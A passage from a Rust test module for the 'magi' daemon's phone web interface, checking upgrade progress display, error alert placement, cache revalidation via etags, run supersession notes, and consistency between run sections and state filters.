8643        assert!(APP_JS.contains("const label = btn.textContent;"));
8644        assert!(!APP_JS.contains("Neither direction is guarded"));
8645    }
8646
8647    #[test]
8648    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8649        assert!(
8650            APP_JS.contains("state.health.version"),
8651            "the operator wants to know what is running even with nothing newer"
8652        );
8653        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8654    }
8655
8656    #[test]
8657    fn the_upgrade_button_names_its_destination() {
8658        assert!(
8659            APP_JS.contains("`Update to ${update.to}`"),
8660            "pressing the button should not be a surprise about what it moves to"
8661        );
8662    }
8663
8664    #[test]
8665    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8666        for stage in ["downloading", "replaced", "parking", "restarting"] {
8667            assert!(
8668                APP_JS.contains(&format!("\"{stage}\"")),
8669                "the phone must be able to tell {stage} apart from the others"
8670            );
8671        }
8672        assert!(APP_JS.contains(".waiting_on"));
8673        // What replaced the bare "Cannot reach magi: Failed to fetch": a
8674        // fetch failing while an upgrade is in flight is not an error, it is
8675        // the sub-second gap `bind_waiting` covers, and it must not be
8676        // reported as one.
8677        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8678        assert!(APP_JS.contains("reconnects on its own"));
8679    }
8680
8681    #[test]
8682    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8683        // `Stage::Failed` is terminal on the server and nothing clears it on
8684        // its own - not a fresh start, not time passing - so a full-strip
8685        // takeover for it (the way the busy stages take the strip over,
8686        // correctly, because those are transient) would have hidden
8687        // start/stop/park behind an upgrade notice with no way back short of
8688        // a person editing `upgrade.json` by hand or a later release
8689        // happening to succeed. The failure must instead ride along as a note
8690        // next to whatever control the loop's own state already offers.
8691        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8692            ..APP_JS.find("function upgrade(").expect("upgrade")];
8693        assert!(
8694            !body.contains(
8695                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
8696            ),
8697            "a failed upgrade must not take the whole strip over the way it used to"
8698        );
8699        assert!(
8700            body.contains("upgradeFailNote"),
8701            "the failure has to reach the loop's own note instead"
8702        );
8703        // `quiet` and `control` are the only two places `loop-why` is set from
8704        // this function's own state; both must carry the note through, or a
8705        // future edit to either one would silently drop it again.
8706        assert_eq!(
8707            body.matches("upgradeFailNote].filter(Boolean).join")
8708                .count(),
8709            2,
8710            "both loop-why writers (quiet and control) must fold the note in"
8711        );
8712    }
8713
8714    #[test]
8715    fn an_overdue_upgrade_eventually_asks_for_a_human() {
8716        // The ceiling has to clear a full hour-long park with room to spare,
8717        // or an ordinary implement wave would be reported as a stuck upgrade.
8718        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8719        assert!(APP_JS.contains("function upgradeOverdue("));
8720    }
8721
8722    #[test]
8723    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8724        assert!(
8725            APP_JS.contains("Updated to ${upgradeInfo.to"),
8726            "the operator who asked for the restart wants to know it worked"
8727        );
8728    }
8729
8730    #[test]
8731    fn an_error_is_visible_from_where_the_button_is() {
8732        // The alert used to sit in the flow under the header. On a phone
8733        // scrolled 13 500 px down to a run's action sheet that is off screen,
8734        // so tapping Resume and being told "the loop is running run b455
8735        // right now" looked exactly like a button that did nothing.
8736        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8737            ..APP_CSS.find(".alert-text").expect(".alert-text")];
8738        assert!(
8739            alert.contains("position: fixed"),
8740            "an error about the thing under your thumb has to be visible from \
8741             where your thumb is: {alert}"
8742        );
8743        assert!(
8744            alert.contains("z-index: 25"),
8745            "above the dock (20) and the run-actions FAB (15), so neither \
8746             buries it: {alert}"
8747        );
8748        assert!(
8749            alert.contains("var(--tap)"),
8750            "and clear of the dock and the home indicator: {alert}"
8751        );
8752        // The FAB sits at the same height on the right. An error that covered
8753        // it would hide the button the operator reaches for next.
8754        assert!(
8755            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8756            "the FAB's column stays free: {alert}"
8757        );
8758    }
8759
8760    #[tokio::test]
8761    async fn an_older_attempt_says_what_replaced_it() {
8762        let fx = Fixture::start().await;
8763        let q = fx.queue();
8764        let runs = fx.runs();
8765        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8766        write_run(&runs, first, RunStatus::Stalled);
8767        write_run(&runs, second, RunStatus::Blocked);
8768
8769        let mut t = Task::new(
8770            "one task".to_owned(),
8771            "do it".to_owned(),
8772            PathBuf::from("/repo"),
8773            Source::Human,
8774        );
8775        t.runs = vec![first.to_owned(), second.to_owned()];
8776        q.put(&mut t).expect("put");
8777
8778        // Two cards with the same title and no hint which is which was the
8779        // question: "why are there two of the same, one stalled and one
8780        // blocked?" The older one now names its replacement.
8781        let rows = fx.get("/api/runs").await.json();
8782        let by = |short: &str| -> Value {
8783            rows.as_array()
8784                .unwrap()
8785                .iter()
8786                .find(|r| r["short"] == short)
8787                .cloned()
8788                .unwrap_or(Value::Null)
8789        };
8790        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8791        assert!(
8792            by("bbbb")["superseded_by"].is_null(),
8793            "the latest attempt is not superseded by anything"
8794        );
8795        // Front end: the note has to be rendered, not just carried.
8796        assert!(APP_JS.contains("run.superseded_by"));
8797        assert!(APP_JS.contains("Superseded by"));
8798    }
8799
8800    #[tokio::test]
8801    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8802        let fx = Fixture::start().await;
8803        // No cache header at all meant browsers invented their own policy,
8804        // and one did: a phone went on showing "Candidates must be folded
8805        // before deleting. Run `magi fold` first." - deleted two releases
8806        // earlier - from a deck that no longer contained the sentence. The
8807        // button it named was right there, and unreachable.
8808        let js = fx.get("/app.js").await;
8809        assert_eq!(js.status, 200);
8810        let tag = js
8811            .header("etag")
8812            .expect("an etag to revalidate against")
8813            .to_owned();
8814        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8815        assert_eq!(
8816            js.header("cache-control"),
8817            Some("no-cache, must-revalidate"),
8818            "the phone has to ask every time"
8819        );
8820
8821        // And the asking has to be cheap, or `must-revalidate` just means
8822        // "send the whole interface on every load".
8823        let again = fx
8824            .get_with("/app.js", &[("if-none-match", tag.as_str())])
8825            .await;
8826        assert_eq!(
8827            again.status, 304,
8828            "a deck it already has costs one round trip"
8829        );
8830        assert!(again.body.is_empty(), "304 carries no body");
8831
8832        // A weakened tag from a proxy still matches; a different build does
8833        // not, which is the case that has to deliver the new interface.
8834        let weak = fx
8835            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8836            .await;
8837        assert_eq!(weak.status, 304);
8838        let stale = fx
8839            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8840            .await;
8841        assert_eq!(stale.status, 200, "an older build must be replaced");
8842        assert!(stale.body.contains("renderRunActions"));
8843    }
8844
8845    #[test]
8846    fn the_deck_never_sends_the_operator_to_a_terminal() {
8847        // The whole point of the phone UI is that a terminal is not needed.
8848        // The delete control used to answer with "Run `magi fold` first."
8849        assert!(
8850            !APP_JS.contains("Run `magi fold` first"),
8851            "the deck must offer the fold, not prescribe a shell command"
8852        );
8853        assert!(APP_JS.contains("foldRun:"));
8854        assert!(APP_JS.contains("resumeRun:"));
8855        assert!(APP_JS.contains("renderRunActions"));
8856
8857        // Folding is destructive and armed in two steps, like deleting.
8858        assert!(APP_JS.contains("armedFold"));
8859        assert!(APP_JS.contains("Yes, fold worktrees"));
8860
8861        // And the copy has to say that the two actions are opposites, because
8862        // folding throws away exactly what a resume would continue from.
8863        assert!(APP_JS.contains("can no longer be resumed"));
8864    }
8865
8866    #[test]
8867    fn a_finished_run_explains_itself_with_its_own_last_line() {
8868        // The deck used to answer "why did this stop?" with a sentence chosen
8869        // by status alone. Run e633 stalled because two judges answered with
8870        // the wrong JSON shape and its card said "The panel collapsed on
8871        // agent quota" - with `quota: []` in the record and a quota-loss
8872        // counter right above it that correctly said nothing.
8873        assert!(
8874            !APP_JS.contains("collapsed on agent quota"),
8875            "a stall must not be explained by a cause the deck did not check"
8876        );
8877        assert!(
8878            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8879            "and a block must not offer a guess with an `or` in it"
8880        );
8881
8882        // The reason it does have is `run.event`, which must reach finished
8883        // runs: gating it on movement hid the recorded truth at the one moment
8884        // the operator is reading the card to find out what happened.
8885        assert!(
8886            APP_JS.contains("setText(r.event, run.event || \"\")"),
8887            "the run's last line is rendered unconditionally"
8888        );
8889        assert!(
8890            !APP_JS.contains("moving && run.event"),
8891            "and never gated on the run still moving"
8892        );
8893
8894        // Quota keeps its own counter, fed by the number actually recorded.
8895        assert!(APP_JS.contains("lost to quota"));
8896    }
8897
8898    /// The runs tree (section) and the state chips (waiting/done) are two
8899    /// independent lenses ANDed together in `renderRuns`, and some pairings
8900    /// can never both be true for any run - every "Landed"/"Ended" run is
8901    /// done by construction, so pairing either with "Active" or "In flight"
8902    /// always rendered zero cards with the filter bar still claiming
8903    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
8904    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
8905    /// a handful of (waiting, status) shapes standing in for the run
8906    /// lifecycle, because `cargo test` cannot execute the front end.
8907    ///
8908    /// That stand-in list is itself the part that drifted twice in review:
8909    /// once shipped with `waiting: true` paired with a done status the
8910    /// lifecycle cannot produce, then over-corrected into treating every
8911    /// waiting run as never done - which made "Waiting on you" look
8912    /// incompatible with "Done" even for the one real, reachable shape
8913    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
8914    /// that combination. This test parses the shapes and the done-rule back
8915    /// out of `APP_JS`, reimplements `runSection` and the five state
8916    /// predicates independently in Rust, and checks the resulting
8917    /// section/filter compatibility table against the lifecycle rules by
8918    /// hand - so either direction of drift fails it again.
8919    #[test]
8920    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8921        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8922        let shapes_body_start =
8923            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8924        let shapes_close = APP_JS[shapes_body_start..]
8925            .find("].map(")
8926            .expect("the shape list is closed by its done-computing .map(...)")
8927            + shapes_body_start;
8928        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8929
8930        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
8931        for entry in shapes_src.split('{').skip(1) {
8932            let waiting = entry.contains("waiting: true");
8933            let dead = entry.contains("live: \"dead\"");
8934            let status_at =
8935                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8936            let status_end = entry[status_at..]
8937                .find('"')
8938                .expect("the status string is closed")
8939                + status_at;
8940            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
8941        }
8942        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8943
8944        // The done rule itself (`!["implementing"].includes(shape.status)`),
8945        // read out of the source rather than hardcoded, so a renamed
8946        // in-flight status can't silently make every parsed shape "done".
8947        let done_rule_marker = "done: !";
8948        let done_rule_at = APP_JS[shapes_close..]
8949            .find(done_rule_marker)
8950            .expect("the done rule follows the shape list")
8951            + shapes_close
8952            + done_rule_marker.len();
8953        let includes_at = APP_JS[done_rule_at..]
8954            .find(".includes(shape.status)")
8955            .expect("the done rule ends in .includes(shape.status)")
8956            + done_rule_at;
8957        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8958            .trim()
8959            .trim_start_matches('[')
8960            .trim_end_matches(']')
8961            .split(',')
8962            .map(|s| s.trim().trim_matches('"'))
8963            .filter(|s| !s.is_empty())
8964            .collect();
8965
8966        let shapes: Vec<(bool, String, bool, bool)> = shapes
8967            .into_iter()
8968            .map(|(waiting, status, dead)| {
8969                let done = !not_done.contains(&status.as_str());
8970                (waiting, status, dead, done)
8971            })
8972            .collect();
8973
8974        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
8975        // outright, then merged/ready land, stalled/blocked/failed/
8976        // verified_noop end, and everything else is still in flight.
8977        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
8978            if waiting {
8979                return "waiting";
8980            }
8981            if dead
8982                && !matches!(
8983                    status,
8984                    "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
8985                )
8986            {
8987                return "stale";
8988            }
8989            match status {
8990                "merged" | "ready" => "landed",
8991                "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8992                _ => "flight",
8993            }
8994        }
8995
8996        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
8997        // way.
8998        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
8999            match filter_key {
9000                "active" => !done,
9001                "flight" => !done && !waiting && !dead,
9002                "stale" => !done && !waiting && dead,
9003                "waiting" => waiting,
9004                "done" => done,
9005                "all" => true,
9006                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
9007            }
9008        }
9009
9010        let compatible = |section: &str, filter_key: &str| {
9011            shapes.iter().any(|(waiting, status, dead, done)| {
9012                run_section(*waiting, status, *dead) == section
9013                    && filter_matches(filter_key, *waiting, *dead, *done)
9014            })
9015        };
9016
9017        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
9018        // (active, flight, stale, waiting, done, all) - hand-derived from the
9019        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
9020        // currently contains.
9021        let expected = [
9022            ("waiting", [true, false, false, true, true, true]),
9023            ("stale", [true, false, true, false, false, true]),
9024            ("flight", [true, true, false, false, false, true]),
9025            ("landed", [false, false, false, false, true, true]),
9026            ("ended", [false, false, false, false, true, true]),
9027        ];
9028        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
9029
9030        for (section, wants) in expected {
9031            for (filter_key, want) in filter_keys.iter().zip(wants) {
9032                assert_eq!(
9033                    compatible(section, filter_key),
9034                    want,
9035                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
9036                );
9037            }
9038        }
9039
9040        // The compatibility check exists only to be acted on: both pickers
9041        // must actually consult it rather than just render its answer.
9042        assert!(
9043            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
9044        );
9045        assert!(APP_JS.contains(
9046            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
9047        ));
9048        assert!(APP_JS.contains(
9049            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
9050        ));
9051    }
9052
9053    #[tokio::test]
9054    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
9055        // An operator-named directory - git checkout or not - is never
9056        // second-guessed, even when it does not exist at all: only the
9057        // flag's own unmodified `.` default is ever eligible for discovery.
9058        let dir = tempfile::tempdir().expect("tempdir");
9059        let explicit = dir.path().join("not-a-checkout");
9060        std::fs::create_dir_all(&explicit).expect("create dir");
9061        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
9062
9063        let missing = dir.path().join("does-not-exist-at-all");
9064        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
9065    }
9066}